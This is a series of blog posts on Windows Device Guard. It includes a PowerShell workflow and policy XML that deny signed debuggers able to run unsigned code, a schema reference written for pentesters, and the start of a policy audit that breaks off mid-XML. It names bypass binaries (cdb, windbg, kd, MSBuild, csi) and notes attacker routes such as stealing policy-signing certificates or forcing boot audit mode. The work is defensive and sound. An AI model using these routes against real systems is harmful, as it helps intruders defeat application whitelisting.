My Surface Pro 4 has the hardware to support these features so I would be silly not to employ them. This is easy enough to do in Group Policy. After configuring these settings, reboot and validate that all Device Guard features are actually set. The easiest way to do this in my opinion is to use the System Information application.


Enabling Virtualization Based Security Features

Confirmation of Device Guard enforcement

Conclusion

If you’ve made it this far, congratulations! Considering there’s no push-button solution to configuring Device Guard according to your requirements, it can take a lot of experimentation and practice. That said, I don’t think there should ever be a push-button solution to the development of a strong whitelisting policy catered to your specific environment. It takes a lot of work just like how competently defending your enterprise should take a lot of work versus just throwing money at "turnkey solutions".


Examples of blocked applications and scripts

Now at this point, you may be asking the following questions (I know I did):


  • How much of a pain will it be to update the policy to permit new applications? Well, this would in essence require a reference machine in which you can place it into audit mode during a test period of the new software installation. You would then need to generate a new policy based on the audit logs and hope that all loaded binaries are signed. If not, you’d have to fall back to file hash rules which would force you to update the policy again as soon as a new update comes out. This process is complicated by installer applications whereas configuring portable binaries should be much easier since the footprint is much smaller.
  • What if there’s a signed Microsoft binary that permits unsigned code execution? Oh these certainly exist and I will cover these in future blog posts along with realistic code integrity policy deny rule mitigations.
  • What if a certificate I whitelist is revoked? I honestly don’t think Device Guard currently covers this scenario.
  • What are the ways in which an admin (local or remote) might be able to modify or disable Device Guard? I will attempt to enumerate some of these possibilities in future blog posts.
  • What is the fate of AppLocker? That will need to be left to Microsoft to answer that question.
  • I personally have many more questions but this blog post may not be the appropriate forum to air all possible grievances. I have been in direct contact with the Device Guard team at Microsoft and they have been very receptive to my feedback.

Finally, despite the existence of bypasses, in many cases code integrity policies can be supplemented to mitigate many known bypasses. In the end though, Device Guard will significantly raise the cost to an attacker and block most forms of malware that don't specifically take Device Guard bypasses into consideration. I commend Microsoft for putting some serious thought and engineering into Device Guard and I sincerely hope that they will continue to improve it, document it more thoroughly, and evangelize it. Now, I may be being overly optimistic, but I would hope that they would consider any vulnerabilities to the Device Guard implementation and possibly even unsigned code execution from signed Microsoft binaries to be a security boundary. But hey, a kid can dream, right?


I hope you enjoyed this post! Look forward to more Device Guard posts (primarily with an offensive twist) coming up!

Using Device Guard to Mitigate Against Device Guard Bypasses

8 September 2016 at 16:38
In my last post, I presented an introduction to Device Guard and described how to go about developing a fairly locked down code integrity policy - a policy that consisted entirely of implicit allow rules. In this post, I’m going to describe how to deny execution of code that would otherwise be whitelisted according to policy. Why would you want to do this? Well, as I blogged about previously, one of the easiest methods of circumventing user-mode code integrity (UMCI) is to take advantage of signed applications that can be used to execute arbitrary, unsigned code. In the blog post, I achieved this using one of Microsoft’s debuggers, cdb.exe. Unfortunately, cdb.exe isn’t the only signed Microsoft binary that can circumvent a locked down code integrity policy. In the coming months, Casey Smith (@subtee) and I will gradually unveil additional signed binaries that circumvent UMCI. In the spirit of transparency, Casey and I will release bypasses as we find them but we will only publicize bypasses for which we can produce an effective mitigation. Any other bypass would be reported to Microsoft through the process of coordinated disclosure.


While the existence of bypasses may cause some to question the effectiveness of Device Guard, consider that the technique I will describe will block all previous, current, and future versions of binaries that circumvent UMCI. The only requirement being that the binaries be signed with a code signing certificate that is in the same chain as the PCA certificate used when we created a deny rule - a realistic scenario. What I’m describing is the FilePublisher file rule level.


In the example that follows, I will create a new code integrity policy with explicit deny rules for all signed versions of the binaries I’m targeting up to the highest supported version number (65535.65535.65535.65535) – cdb.exe, windbg.exe, and kd.exe – three user-mode and kernel-mode debuggers signed by Microsoft. You can then merge the denial CI policy with that of your reference policy. I confirmed with the Device Guard team at Microsoft that what I’m about to describe is most likely the ideal method (at time of writing) of blocking the execution of individual binaries that bypass your code integrity policy.


# The directory that contains the binaries that circumvent our Device Guard policy

$Scanpath= 'C:\Program Files\Windows Kits\10\Debuggers\x64'


# The binaries that circumvent our Device Guard policy

$DeviceGuardBypassApps= 'cdb.exe', 'windbg.exe', 'kd.exe'


$DenialPolicyFilePath= 'BypassMitigationPolicy.xml'


# Get file and signature information for every file in the scan directory

$Files= Get-SystemDriver-ScanPath $Scanpath-UserPEs -NoShadowCopy


# We'll use this to filter out the binaries we want to block

$TargetFilePaths= $DeviceGuardBypassApps| ForEach-Object{ Join-Path $Scanpath$_ }


# Filter out the user-mode binaries we want to block

# This would just as easily apply to drivers. Just change UserMode to $False

# If you’re wanting this to apply to drivers though, you might consider using

# the WHQLFilePublisher rule.

$FilesToBlock= $Files| Where-Object{

    $TargetFilePaths -contains $_.FriendlyName -and$_.UserMode -eq $True

}


# Generate a dedicated device guard bypass policy that contains explicit deny rules for the binaries we want to block.

New-CIPolicy-FilePath $DenialPolicyFilePath-DriverFiles $FilesToBlock-Level FilePublisher-Deny -UserPEs



# Set the MinimumFileVersion to 65535.65535.65535 - an arbitrarily high number.

# Setting this value to an arbitraily high version number will ensure that any signed bypass binary prior to version 65535.65535.65535.65535
# will be blocked. This logic allows us to theoretically block all previous, current, and future versions of binaries assuming

# they were signed with a certificate signed by the specified PCA certificate

$DenyPolicyRules = Get-CIPolicy -FilePath $DenialPolicyFilePath

$DenyPolicyRules | Where-Object { $_.TypeId -eq 'FileAttrib'} | ForEach-Object{

    # For some reason, the docs for Edit-CIPolicyRule say not to use it...

    Edit-CIPolicyRule-FilePath $DenialPolicyFilePath-Id $_.Id -Version '65535.65535.65535.65535'


}



# The remaining portion is optional. They are here to demonstrate

# policy merging with a reference policy and deployment.



<#

$ReferencePolicyFilePath = 'FinalPolicy.xml'

$MergedPolicyFilePath = 'Merged.xml'

$DeployedPolicyPath = 'C:\DGPolicyFiles\SIPolicy.bin'

#>


# Extract just the file rules from the denial policy. We do this because I don't want to merge

# and possibly overwrite any policy rules from the reference policy.

<#

$Rules = Get-CIPolicy -FilePath $DenialPolicyFilePath

Merge-CIPolicy -OutputFilePath $MergedPolicyFilePath -PolicyPaths $ReferencePolicyFilePath -Rules $Rules

#>


# Deploy the new policy and reboot.

<#

ConvertFrom-CIPolicy -XmlFilePath $MergedPolicyFilePath -BinaryFilePath $DeployedPolicyPath

#>


So in the code above, to generate the policy, we specified the location where the offending binaries were installed. In reality, they can be in any directory and you can generate this deny policy on any machine. In other words, you’re not required to generate it on the machine that will have the code integrity policy deployed. That directory is then scanned. You need to filter out the specific binaries that you want to deny and merge the deny policy with a reference policy and redeploy. Once you’ve redeployed the policy, you will want to validate its efficacy. To validate it, I would ensure the following:

  1. Both the x86 and x64 version of the binary are blocked.
  2. At least two versions of each binary (for each architecture) are blocked.

So, for example, to validate that the signed cdb.exe can no longer execute, be sure to obtain two versions of cdb.exe and have a 32-bit and 64-bit build of each version.


It is unfortunately kind of a hack to have to manually modify the policy XML to specify an arbitrarily large version number. Ideally, in a future version of Device Guard, Microsoft would allow you to specify a wildcard that would imply that the deny rule would apply to all versions of the binary. In the meantime, this hack seems to get the job done. What’s great about this simple workflow is that as new bypasses come out, you can just keep adding deny rules to an all-encompassing Device Guard bypass code integrity policy! In fact, I plan on maintaining such a bypass-specific CI policy on GitHub in the near future.


Now, I’ve done a decent amount of testing of this mitigation, which I consider to be effective and not difficult to implement. I encourage everyone out there to poke holes in my theory, though. And if you discover a bypass for my mitigation, please be a good citizen and let the world know! I hope these posts are continuing to pique your interest in this important technology!


For reference, here is the policy that was generated based on the code above. Note that while there are explicit file paths in the generated policy, the deny rules apply regardless of where the binaries are located on disk.



<?xml version="1.0" encoding="utf-8"?>

<SiPolicy xmlns="urn:schemas-microsoft-com:sipolicy">

  <VersionEx>10.0.0.0</VersionEx>

  <PolicyTypeID>{A244370E-44C9-4C06-B551-F6016E563076}</PolicyTypeID>

  <PlatformID>{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}</PlatformID>

  <Rules>

    <Rule>

      <Option>Enabled:Unsigned System Integrity Policy</Option>

    </Rule>

    <Rule>

      <Option>Enabled:Audit Mode</Option>

    </Rule>

    <Rule>

      <Option>Enabled:Advanced Boot Options Menu</Option>

    </Rule>

    <Rule>

      <Option>Required:Enforce Store Applications</Option>

    </Rule>

    <Rule>

      <Option>Enabled:UMCI</Option>

    </Rule>

  </Rules>

  <!--EKUS-->

  <EKUs />

  <!--File Rules-->

  <FileRules>

    <FileAttrib ID="ID_FILEATTRIB_F_1" FriendlyName="C:\Program Files\Windows Kits\10\Debuggers\x64\cdb.exe FileAttribute" FileName="CDB.Exe" MinimumFileVersion="65535.65535.65535.65535" />

    <FileAttrib ID="ID_FILEATTRIB_F_2" FriendlyName="C:\Program Files\Windows Kits\10\Debuggers\x64\kd.exe FileAttribute" FileName="kd.exe" MinimumFileVersion="65535.65535.65535.65535" />

    <FileAttrib ID="ID_FILEATTRIB_F_3" FriendlyName="C:\Program Files\Windows Kits\10\Debuggers\x64\windbg.exe FileAttribute" FileName="windbg.exe" MinimumFileVersion="65535.65535.65535.65535" />

  </FileRules>

  <!--Signers-->

  <Signers>

    <Signer ID="ID_SIGNER_F_1" Name="Microsoft Code Signing PCA">

      <CertRoot Type="TBS" Value="27543A3F7612DE2261C7228321722402F63A07DE" />

      <CertPublisher Value="Microsoft Corporation" />

      <FileAttribRef RuleID="ID_FILEATTRIB_F_1" />

      <FileAttribRef RuleID="ID_FILEATTRIB_F_2" />

      <FileAttribRef RuleID="ID_FILEATTRIB_F_3" />

    </Signer>

    <Signer ID="ID_SIGNER_F_2" Name="Microsoft Code Signing PCA 2010">

      <CertRoot Type="TBS" Value="121AF4B922A74247EA49DF50DE37609CC1451A1FE06B2CB7E1E079B492BD8195" />

      <CertPublisher Value="Microsoft Corporation" />

      <FileAttribRef RuleID="ID_FILEATTRIB_F_1" />

      <FileAttribRef RuleID="ID_FILEATTRIB_F_2" />

      <FileAttribRef RuleID="ID_FILEATTRIB_F_3" />

    </Signer>

  </Signers>

  <!--Driver Signing Scenarios-->

  <SigningScenarios>

    <SigningScenario Value="131" ID="ID_SIGNINGSCENARIO_DRIVERS_1" FriendlyName="Auto generated policy on 09-07-2016">

      <ProductSigners />

    </SigningScenario>

    <SigningScenario Value="12" ID="ID_SIGNINGSCENARIO_WINDOWS" FriendlyName="Auto generated policy on 09-07-2016">

      <ProductSigners>

        <DeniedSigners>

          <DeniedSigner SignerId="ID_SIGNER_F_1" />

          <DeniedSigner SignerId="ID_SIGNER_F_2" />

        </DeniedSigners>

      </ProductSigners>

    </SigningScenario>

  </SigningScenarios>

  <UpdatePolicySigners />

  <CiSigners>

    <CiSigner SignerId="ID_SIGNER_F_1" />

    <CiSigner SignerId="ID_SIGNER_F_2" />

  </CiSigners>

  <HvciOptions>0</HvciOptions>

</SiPolicy>

Windows Device Guard Code Integrity Policy Reference

27 October 2016 at 15:50
One of the more obvious ways to circumvent Device Guard deployments is by exploiting code integrity policy misconfigurations. The ability to effectively audit deployed policies requires a thorough comprehension of the XML schema used by Device Guard. This post is intended to serve as documentation of the XML elements of a Device Guard code integrity policy with a focus on auditing from the perspective of a pentester. And do note that the schema used by Microsoft is not publicly documented and subject to change in future versions. If things change, expect an update from me.
As a reminder, deployed code integrity policies are stored in %SystemRoot%\System32\CodeIntegrity\SIPolicy.p7b in binary form. If you're lucky enough to track down the original XML code integrity policy, you can validate that it matches the deployed SIPolicy.p7b by converting it to binary form with ConvertFrom-CIPolicy and then comparing the hashes with Get-FileHash. If you are unable to locate the original XML policy, you can recover an XML policy with the ConvertTo-CIPolicy function I wrote. Note, however that ConvertTo-CIPolicy cannot recover all element ID and FriendlyName attributes as the process of converting to binary form is a lossy process, unfortunately.
For reference, here are some code integrity policies that I personally use. Obviously, yours will be different in your environment.
Policies are generated initially using the New-CiPolicy cmdlet.
The current (but subject to change) code integrity schema can be found here. This was pulled out from an embedded resource in the ConfigCI cmdlets - Microsoft.ConfigCI.Commands.dll.
What will follow is a detailed breakdown of most code integrity policy XML elements that you may encounter while auditing Device Guard deployments. Hopefully, at some point in the future, Microsoft will provide such documentation. In the mean time, I hope this is helpful! In a future post, I will conduct an actual code integrity policy audit and identify potential vulnerabilities that would allow for unsigned code execution.

VersionEx
Default value: 10.0.0.0
Purpose: An admin can set this to perform versioning of updated CI policies. This is what I do in BypassDenyPolicy.xml. VersionEx can be set programmatically with Set-CIPolicyVersion.

PolicyTypeID

Default value: {A244370E-44C9-4C06-B551-F6016E563076}
Purpose: Unknown. This value is automatically generated upon calling New-CIPolicy. Unless Microsoft decides to change things, this value should always remain the same.

PlatformID
Default value: {2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}
Purpose: Unknown. This value is automatically generated upon calling New-CIPolicy. Unless Microsoft decides to change things, this value should always remain the same.

Rules

The Rules element consist of multiple child Rule elements. A Rule element refers to a specific policy rule option - i.e. a specific configuration of Device Guard. Some, but not all of these options are documented. Policy rule options are configured with the Set-RuleOption cmdlet.

Documented and/or publicly exposed policy rules

1) Enabled:UMCI
Description: Enforces user-mode code integrity for user mode binaries, PowerShell scripts, WSH scripts, and MSIs. The absence of this policy rule implies that whitelist/blacklist rules will only apply to drivers.
Operational impact: User mode binaries and MSIs not explicitly whitelisted will not execute. PowerShell will be placed into ConstrainedLanguage mode. Whitelisted, signed scripts have no restrictions and run in FullLanguage mode. WSH scripts (VBScript and JScript) not whitelisted per policy are unable to instantiate COM/ActiveX objects. Signed scripts whitelisted by policy have no such restrictions.
2) Required:WHQL
Description: Drivers must be Windows Hardware Quality Labs (WHQL) signed. Drivers signed with a WHQL certificate are indicated by a "Windows Hardware Driver Verification" EKU (1.3.6.1.4.1.311.10.3.5) in their certificate.
Operational impact: This will raise the bar on the quality (and arguably the trustworthiness) of the drivers that will be allowed to execute.
3) Disabled:Flight Signing
Description: Disable loading of flight signed code. These are used most commonly with Insider Preview builds of Windows. A flight signed binary/script is one that is signed by a Microsoft certificate and has the "Preview Build Signing" EKU (1.3.6.1.4.1.311.10.3.27) applied. Thanks to Alex Ionescu for confirming this.
Operational Impact: Preview build binaries/scripts will not be allowed to load. In other words, if you're on a WIP build, don't expect your OS to function properly.
4) Enabled:Unsigned System Integrity Policy
Description: If present, the code integrity policy does not have to be signed with a code signing certificate. The absence of this rule option indicates that the code integrity policy must be signed by a whitelisted signer as indicated in the UpdatePolicySigners section below.
Operational Impact: Once signed, deployed code integrity options can only be updated by signing a new policy with a whitelisted certificate. Even an admin cannot remove deployed, signed code integrity policies. If modifying and redeploying a signed code integrity policy is your goal, you will need to steal one of the whitelisted UpdatePolicySigners code signing certificates.
5) Required:EV Signers
Description: All drivers must be EV (extended validation) signed.
Operational Impact: This will likely not be present as most 3rd party and OEM drivers are not EV signed. Supposedly, Microsoft is mandating that all drivers be EV signed starting with Windows 10 Anniversary Update. From my observation, this does not appear to be the case.
6) Enabled:Advanced Boot Options Menu
Description: By default, with a code integrity policy deployed, the advanced boot options menu is disabled.
Operational Impact: With this option present, the menu is available to someone with physical access. There are additional concerns associated with physical access to a Device Guard enabled system. Such concerns may be covered in a future blog post.
7) Enabled:Boot Audit On Failure
Description: If a driver fails to load during the boot process due to an overly restrictive code integrity policy, the system will be placed into audit mode for that session.
Operational Impact: If you could somehow get a driver to fail to load during the boot process, Device Guard would cease to be enforced.
8) Disabled:Script Enforcement
Description: This is not actually documented but listed with 'Set-RuleOption -Help'. You would think that this actually does what it says but in practice it doesn't. Even with this set, PowerShell and WSH remain locked down.
Operational Impact: None. It is unlikely that you would see this in production anyway.

Undocumented and/or not not publicly exposed policy rules

The following policy rule options are undocumented and it is unclear if they are supported or not. As of this writing, you will likely never see these options in a deployed policy.
  • Enabled:Boot Menu Protection
  • Enabled:Inherit Default Policy
  • Allowed:Prerelease Signers
  • Allowed:Kits Signers
  • Allowed:Debug Policy Augmented
  • Allowed:UMCI Debug Options
  • Enabled:UMCI Cache Data Volumes
  • Allowed:SeQuerySigningPolicy Extension
  • Enabled:Filter Edited Boot Options
  • Disabled:UMCI USN 0 Protection
  • Disabled:Winload Debugging Mode Menu
  • Enabled:Strong Crypto For Code Integrity
  • Allowed:Non-Microsoft UEFI Applications For BitLocker
  • Enabled:Always Use Policy
  • Enabled:UMCI Trust USN 0
  • Disabled:UMCI Debug Options TCB Lowering
  • Enabled:Inherit Default Policy
  • Enabled:Secure Setting Policy


EKUs
This can consist of a list of Extended/Enhanced Key usages that can be applied to signers. When applied to a signer rule, the EKU in the certificate must be present in the certificate used to sign the binary/script.
EKU instances have a "Value" attribute consisting of an encoded OID. For example, if you want to enforce WHQL signing, the "Windows Hardware Driver Verification" EKU (1.3.6.1.4.1.311.10.3.5) would need to be applied to those drivers. When encoded the "Value" attribute would be "010A2B0601040182370A0305" (where the first byte which would normally be 0x06 (absolute OID) is replaced with 0x01). The OID encoding process is described here. ConvertTo-CIPolicy decodes and resolves the original FriendlyName attribute for encoded OID values.

FileRules
These are rules specific to individual files based either on its hash or based on its filename (not on disk but from the embedded PE resource) and file version (again, from the embedded PE resource). FileRules can consist of the following types: FileAttrib, Allow, Deny. File rules can apply to specific signers or signing scenarios.
FileAttrib
These are used to reflect a user or kernel PE filename and minimum file version number. These can be used to either explicitly allow or block binaries based on filename and version.
Allow
These typically consist of just a file hash and is used to override an explicit deny rule. In practice, it is unlikely that you will see an Allow file rule.
Deny
These typically consist of just a file hash and are used to override whitelist rules when you want to block trusted code by hash.

Signers
This section consists of all of the signing certificates that will be applied to rules in the signing scenario section. Each signer entry is required to have a CertRoot property where the Value attribute refers to the hash of the cbData blob of the certificate. The hashing algorithm used is dependent upon the hashing algorithm specified in the certificate. This hash serves as the unique identifier for the certificate. The CertRoot "Type" attribute will almost always be "TBS" (to be signed). The "WellKnown" type is also possible but will not be common.
The signer element can have any of the following optional child elements:
CertEKU
One or more EKUs from the EKU element described above can be applied here. Ultimately, this would constrain a whitelist rule to code signed with certificates with specific EKUs, "Windows Hardware Driver Verification" (WHQL) probably being the most common.
CertIssuer
I have personally not seen this in practice but this will likely contain the common name (CN) of the issuing certificate.
CertPublisher
This refers to the common name (CN) of the certificate. This element is associated with the "Publisher" file rule level.
CertOemID
This is often associated with driver signers. This will often have a third party vendor name associated with a driver signed with a "Microsoft Windows Third Party Component CA" certificate. If CertOemIDs were not specified for the "Microsoft Windows Third Party Component CA" signer, then you would implicitly be whitelisting all 3rd party drivers signed by Microsoft.
FileAttribRef
There may be one or more references to FileAttrib rules where the signer rules apply only to the files referenced.

SigningScenarios
When auditing Code Integrity policies, this is where you will want to start your audit and then work backwards. It contains all the enforcement rules for drivers and user mode code. Signing scenarios consist of a combination of the individual elements discussed previously. There will almost always be two Signing scenario elements present:
  1. <SigningScenario Value="131" ID="ID_SIGNINGSCENARIO_DRIVERS_1"> - This scenario will consist of zero or more rules related to driver loading.
  2. <SigningScenario Value="12" ID="ID_SIGNINGSCENARIO_WINDOWS"> - This scenario will consist of zero or more rules related to user mode binaries, scripts, and MSIs.

Each signing scenario can have up to three subelements:
  1. ProductSigners - This will comprise all of the code integrity rules for drivers or user mode code depending upon the signing scenario.
  2. TestSigners - You will likely never encounter this. The purpose of this signing scenario is unclear.
  3. TestSigningSigners - You will likely never encounter this. The purpose of this signing scenario is unclear.

Each signers group (ProductSigners, TestSigners, or TestSigningSigners) may consist of any of the following subelements:
Allowed signers
These are the whitelisted signer rules. These will consist of one or more signer rules and optionally, one or more ExceptDenyRules which link to specific file rules making the signer rule conditional. In practice, ExceptDenyRules will likely not be present.
Denied signers
These are the blacklisted signer rules. These rules will always take priority over allow rules. These will consist of one or more signer rules and optionally, one or more ExceptAllowRules which link to specific file rules making the signer rule conditional. In practice, ExceptAllowRules will likely not be present.
FileRulesRef
These will consist of individual file allow or deny rules. For example, if there are individual files to be blocked by hash, such rules will be included here.

UpdatePolicySigners
If policy signing is required as indicated by the absence of the "Enabled:Unsigned System Integrity Policy" policy rule option, a deployed policy must be signed by the signers indicated here. The only way to modify a deployed policy in this case would be to resign the policy with one of these certificates. UpdatePolicySigners is updated using the Add-SignerRule cmdlet.
If a binary policy (SIPolicy.p7b) is signed, you can validate signature with Get-CIBinaryPolicyCertificate.

CISigners
These will consist of mirrored signing rules from the ID_SIGNINGSCENARIO_WINDOWS signing scenario. These are related to the trusting of signers and signing levels by the kernel. These are auto-generated and not configurable via the ConfigCI PowerShell module. These entries should not be modified.

HvciOptions
This specifies the configured hypervisor code integrity (HVCI) option. HVCI implements several kernel exploitation mitigations including W^X kernel memory and restricts the ability to allocate any executable memory for code that isn't explicitly whitelisted. Basically, HVCI allows for the system to continue to enforce code integrity even if the kernel is compromised. HVCI settings are configured using the Set-HVCIOptions cmdlet.
Any combination of the following values are accepted:
0 - Non configured
1 - Enabled
2 - Strict mode
4 - Debug mode
HVCI is not well documented as of this writing. Here are a few references to it:
Outside of Microsoft, Alex Ionescu and Rafal Wojtczuk are experts on this subject.

Settings
Settings may consist of one or more provider/value pairs. These options are referred to internally as  "Secure Settings". It is unclear the range of possible values that can be set here. The only entry you might see would be a PolicyInfo provider setting where a user can specify an explicit Name and Id for the code integrity policy which would be reflected in Microsoft-Windows-CodeIntegrity/Operational events. PolicyInfo settings can be set with the Set-CIPolicyIdInfo cmdlet.

Device Guard Code Integrity Policy Auditing Methodology

21 November 2016 at 13:57
In my previous blogpost, I provided a detailed reference of every component of a code integrity (CI) policy. In this post, I'd like to exercise that reference and perform an audit of a code integrity policy. We're going to analyze a policy that I had previously deployed to my Surface Pro 4 - final.xml.

<?xml version="1.0" encoding="utf-8"?>

<SiPolicy xmlns="urn:schemas-microsoft-com:sipolicy">

  <VersionEx>10.0.0.0</VersionEx>

  <PolicyTypeID>{A244370E-44C9-4C06-B551-F6016E563076}</PolicyTypeID>

  <PlatformID>{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}</PlatformID>

  <Rules>

    <Rule>

      <Option>Required:Enforce Store Applications</Option>

    </Rule>

    <Rule>

      <Option>Enabled:UMCI</Option>

    </Rule>

    <Rule>

      <Option>Disabled:Flight Signing</Option>

    </Rule>

    <Rule>

      <Option>Required:WHQL</Option>

    </Rule>

    <Rule>

      <Option>Enabled:Unsigned System Integrity Policy</Option>

    </Rule>

    <Rule>

      <Option>Enabled:Advanced Boot Options Menu</Option>

    </Rule>

  </Rules>

  <!--EKUS-->

  <EKUs />

  <!--File Rules-->

  <FileRules>

    <FileAttribID="ID_FILEATTRIB_F_1_0_0_1_0_0" FriendlyName="cdb.exe" FileName="CDB.Exe" MinimumFileVersion="99.0.0.0" />

    <FileAttribID="ID_FILEATTRIB_F_2_0_0_1_0_0" FriendlyName="kd.exe" FileName="kd.exe" MinimumFileVersion="99.0.0.0" />

    <FileAttribID="ID_FILEATTRIB_F_3_0_0_1_0_0" FriendlyName="windbg.exe" FileName="windbg.exe" MinimumFileVersion="99.0.0.0" />

    <FileAttribID="ID_FILEATTRIB_F_4_0_0_1_0_0" FriendlyName="MSBuild.exe" FileName="MSBuild.exe" MinimumFileVersion="99.0.0.0" />

    <FileAttribID="ID_FILEATTRIB_F_5_0_0_1_0_0" FriendlyName="csi.exe" FileName="csi.exe" MinimumFileVersion="99.0.0.0" />

  </FileRules>

  <!--Signers-->

  <Signers>

    <SignerID="ID_SIGNER_S_1_0_0_0_0_0_0_0" Name="Microsoft Windows Production PCA 2011">

      <CertRootType="TBS" Value="4E80BE107C860DE896384B3EFF50504DC2D76AC7151DF3102A4450637A032146" />

    </Signer>

    <SignerID="ID_SIGNER_S_AE_0_0_0_0_0_0_0" Name="Intel External Basic Policy CA">

      <CertRootType="TBS" Value="53B052BA209C525233293274854B264BC0F68B73" />

    </Signer>

    <SignerID="ID_SIGNER_S_AF_0_0_0_0_0_0_0" Name="Microsoft Windows Third Party Component CA 2012">

      <CertRootType="TBS" Value="CEC1AFD0E310C55C1DCC601AB8E172917706AA32FB5EAF826813547FDF02DD46" />

    </Signer>

    <SignerID="ID_SIGNER_S_17C_0_0_0_0_0_0_0" Name="COMODO RSA Certification Authority">

      <CertRootType="TBS" Value="7CE102D63C57CB48F80A65D1A5E9B350A7A618482AA5A36775323CA933DDFCB00DEF83796A6340DEC5EBF7596CFD8E5D" />

    </Signer>

    <SignerID="ID_SIGNER_S_18D_0_0_0_0_0_0_0" Name="Microsoft Code Signing PCA 2010">

      <CertRootType="TBS" Value="121AF4B922A74247EA49DF50DE37609CC1451A1FE06B2CB7E1E079B492BD8195" />

    </Signer>

    <SignerID="ID_SIGNER_S_2E0_0_0_0_0_0_0_0" Name="VeriSign Class 3 Code Signing 2010 CA">

      <CertRootType="TBS" Value="4843A82ED3B1F2BFBEE9671960E1940C942F688D" />

    </Signer>

    <SignerID="ID_SIGNER_S_34C_0_0_0_0_0_0_0" Name="Microsoft Code Signing PCA">

      <CertRootType="TBS" Value="27543A3F7612DE2261C7228321722402F63A07DE" />

    </Signer>

    <SignerID="ID_SIGNER_S_34F_0_0_0_0_0_0_0" Name="Microsoft Code Signing PCA 2011">

      <CertRootType="TBS" Value="F6F717A43AD9ABDDC8CEFDDE1C505462535E7D1307E630F9544A2D14FE8BF26E" />

    </Signer>

    <SignerID="ID_SIGNER_S_37B_0_0_0_0_0_0_0" Name="Microsoft Root Certificate Authority">

      <CertRootType="TBS" Value="391BE92883D52509155BFEAE27B9BD340170B76B" />

    </Signer>

    <SignerID="ID_SIGNER_S_485_0_0_0_0_0_0_0" Name="Microsoft Windows Verification PCA">

      <CertRootType="TBS" Value="265E5C02BDC19AA5394C2C3041FC2BD59774F918" />

    </Signer>

    <SignerID="ID_SIGNER_S_1_1_0_0_0_0_0_0" Name="Microsoft Windows Production PCA 2011">

      <CertRootType="TBS" Value="4E80BE107C860DE896384B3EFF50504DC2D76AC7151DF3102A4450637A032146" />

    </Signer>

    <SignerID="ID_SIGNER_S_35C_1_0_0_0_0_0_0" Name="Microsoft Code Signing PCA">

      <CertRootType="TBS" Value="27543A3F7612DE2261C7228321722402F63A07DE" />

    </Signer>

    <SignerID="ID_SIGNER_S_35F_1_0_0_0_0_0_0" Name="Microsoft Code Signing PCA 2011">

      <CertRootType="TBS" Value="F6F717A43AD9ABDDC8CEFDDE1C505462535E7D1307E630F9544A2D14FE8BF26E" />

    </Signer>

    <SignerID="ID_SIGNER_S_1EA5_1_0_0_0_0_0_0" Name="Microsoft Code Signing PCA 2010">

      <CertRootType="TBS" Value="121AF4B922A74247EA49DF50DE37609CC1451A1FE06B2CB7E1E079B492BD8195" />

    </Signer>

    <SignerID="ID_SIGNER_S_2316_1_0_0_0_0_0_0" Name="Microsoft Windows Verification PCA">

      <CertRootType="TBS" Value="265E5C02BDC19AA5394C2C3041FC2BD59774F918" />

    </Signer>

    <SignerID="ID_SIGNER_S_3D8C_1_0_0_0_0_0_0" Name="Microsoft Code Signing PCA">

      <CertRootType="TBS" Value="7251ADC0F732CF409EE462E335BB99544F2DD40F" />

    </Signer>

    <SignerID="ID_SIGNER_S_4_1_0_0_0"Name="Matthew Graeber">

      <CertRootType="TBS" Value="B1554C5EEF15063880BB76B347F2215CDB5BBEFA1A0EBD8D8F216B6B93E8906A" />

    </Signer>

    <SignerID="ID_SIGNER_S_1_1_0"Name="Intel External Basic Policy CA">

      <CertRootType="TBS" Value="53B052BA209C525233293274854B264BC0F68B73" />

      <CertPublisherValue="Intel(R) Intel_ICG"/>

    </Signer>

    <SignerID="ID_SIGNER_S_2_1_0"Name="Microsoft Windows Third Party Component CA 2012">

      <CertRootType="TBS" Value="CEC1AFD0E310C55C1DCC601AB8E172917706AA32FB5EAF826813547FDF02DD46" />

      <CertPublisherValue="Microsoft Windows Hardware Compatibility Publisher" />

    </Signer>

    <SignerID="ID_SIGNER_S_19_1_0"Name="Intel External Basic Policy CA">

      <CertRootType="TBS" Value="53B052BA209C525233293274854B264BC0F68B73" />

      <CertPublisherValue="Intel(R) pGFX"/>

    </Signer>

    <SignerID="ID_SIGNER_S_20_1_0"Name="iKGF_AZSKGFDCS">

      <CertRootType="TBS" Value="32656594870EFFE75251652A99B906EDB92D6BB0" />

      <CertPublisherValue="IntelVPGSigning2016"/>

    </Signer>

    <SignerID="ID_SIGNER_S_4E_1_0"Name="Microsoft Windows Third Party Component CA 2012">

      <CertRootType="TBS" Value="CEC1AFD0E310C55C1DCC601AB8E172917706AA32FB5EAF826813547FDF02DD46" />

    </Signer>

    <SignerID="ID_SIGNER_S_65_1_0"Name="VeriSign Class 3 Code Signing 2010 CA">

      <CertRootType="TBS" Value="4843A82ED3B1F2BFBEE9671960E1940C942F688D" />

      <CertPublisherValue="Logitech" />

    </Signer>

    <SignerID="ID_SIGNER_S_5_1_0_0_0"Name="Matthew Graeber">

      <CertRootType="TBS" Value="B1554C5EEF15063880BB76B347F2215CDB5BBEFA1A0EBD8D8F216B6B93E8906A" />

    </Signer>

    <SignerID="ID_SIGNER_F_1_0_0_1_0_0"Name="Microsoft Code Signing PCA">

      <CertRootType="TBS" Value="27543A3F7612DE2261C7228321722402F63A07DE" />

      <CertPublisherValue="Microsoft Corporation"/>

      <FileAttribRefRuleID="ID_FILEATTRIB_F_1_0_0_1_0_0" />

      <FileAttribRefRuleID="ID_FILEATTRIB_F_2_0_0_1_0_0" />

      <FileAttribRefRuleID="ID_FILEATTRIB_F_3_0_0_1_0_0" />

      <FileAttribRefRuleID="ID_FILEATTRIB_F_4_0_0_1_0_0" />

    </Signer>

    <SignerID="ID_SIGNER_F_2_0_0_1_0_0"Name="Microsoft Code Signing PCA 2010">

      <CertRootType="TBS" Value="121AF4B922A74247EA49DF50DE37609CC1451A1FE06B2CB7E1E079B492BD8195" />

      <CertPublisherValue="Microsoft Corporation"/>

      <FileAttribRefRuleID="ID_FILEATTRIB_F_1_0_0_1_0_0" />

      <FileAttribRef RuleID="ID_FILEATTRIB_F_2_0_0_1_0_0" />

      <FileAttribRefRuleID="ID_FILEATTRIB_F_3_0_0_1_0_0" />

    </Signer>

    <SignerID="ID_SIGNER_F_3_0_0_1_0_0"Name="Microsoft Code Signing PCA 2011">

